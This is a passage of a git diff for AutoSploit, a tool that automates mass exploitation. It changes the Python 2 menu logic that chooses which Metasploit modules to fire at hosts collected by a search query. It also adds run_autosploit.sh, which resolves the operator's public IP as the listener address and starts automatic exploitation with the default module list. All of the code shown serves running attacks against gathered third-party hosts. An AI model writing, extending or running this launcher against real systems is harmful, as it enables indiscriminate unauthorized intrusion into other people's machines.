exploitation with sorted modules (total of {})".format(len(sorted_mods))) - exploiter.start_exploit() - else: - exploiter.view_sorted() - mods = lib.output.prompt("use relevant modules[y/N]") - if mods.lower().startswith("n"): - lib.output.info("starting exploitation with all loaded modules (total of {})".format(len(loaded_mods))) - exploiter.start_exploit() - elif mods.lower().startswith("y"): - lib.output.info("starting exploitation with sorted modules (total of {})".format(len(sorted_mods))) - exploiter.start_exploit() + + if not choice.lower().strip().startswith("y"): + mods = lib.output.prompt("use relevant modules[y/N]") + if mods.lower().startswith("n"): + lib.output.info( + "starting exploitation with all loaded modules (total of {})".format(len(loaded_mods))) + exploiter.start_exploit() + elif mods.lower().startswith("y"): + lib.output.info("starting exploitation with sorted modules (total of {})".format(len(sorted_mods))) + exploiter.start_exploit() + else: + exploiter.view_sorted() + mods = lib.output.prompt("use relevant modules[y/N]") + if mods.lower().startswith("n"): + lib.output.info( + "starting exploitation with all loaded modules (total of {})".format(len(loaded_mods))) + exploiter.start_exploit() + elif mods.lower().startswith("y"): + lib.output.info("starting exploitation with sorted modules (total of {})".format(len(sorted_mods))) + exploiter.start_exploit() + except AttributeError: + lib.output.warning("unable to sort modules by relevance") + def custom_host_list(self, mods): """ @@ -268,6 +281,7 @@ def __config_headers(): for i in lib.settings.AUTOSPLOIT_TERM_OPTS.keys(): print("{}. {}".format(i, lib.settings.AUTOSPLOIT_TERM_OPTS[i].title())) choice = raw_input(lib.settings.AUTOSPLOIT_PROMPT) + # TODO[3] this is ugly so it needs to change try: choice = int(choice) if choice == 99: @@ -293,9 +307,17 @@ def __config_headers(): elif choice == 2: print(self.sep) query = lib.output.prompt("enter your search query", lowercase=False) - with open(lib.settings.QUERY_FILE_PATH, "a+") as _query: - _query.write(query) + try: + with open(lib.settings.QUERY_FILE_PATH, "w") as _query: + _query.write(query) + except AttributeError: + filename = tempfile.NamedTemporaryFile(delete=False).name + with open(filename, "w") as _query: + _query.write(query) + lib.settings.QUERY_FILE_PATH = filename + print lib.settings.QUERY_FILE_PATH proxy, agent = __config_headers() + # possibly needs to change here (see TODO[2]) self.gather_hosts(query, proxy=proxy, agent=agent) print(self.sep) elif choice == 1: diff --git a/run_autosploit.sh b/run_autosploit.sh new file mode 100755 index 0000000..9dfcdaf --- /dev/null +++ b/run_autosploit.sh @@ -0,0 +1,23 @@ +#!/bin/bash + + +if [[ $# -lt 1 ]]; then + echo "Syntax:" + echo -e "\t./run_autosploit.sh PORT [WHITELIST]" + exit 1 +fi + +echo -e "[!] Make sure you are not on your localhost while running this script, press enter to continue"; +read + +WHITELIST=$2 +LPORT=$1 + +LHOST=`dig +short @resolver1.opendns.com myip.opendns.com` +TIMESTAMP=`date +%s` + +if [[ ! $WHITELIST ]]; then + python autosploit.py -e -C "msf_autorun_${TIMESTAMP}" $LHOST $LPORT -f etc/json/default_modules.json +else + python autosploit.py --whitelist $WHITELIST -e -C "msf_autorun_${TIMESTAMP}" $LHOST $LPORT -f etc/json/default_modules.json +fi; \ No newline at end of file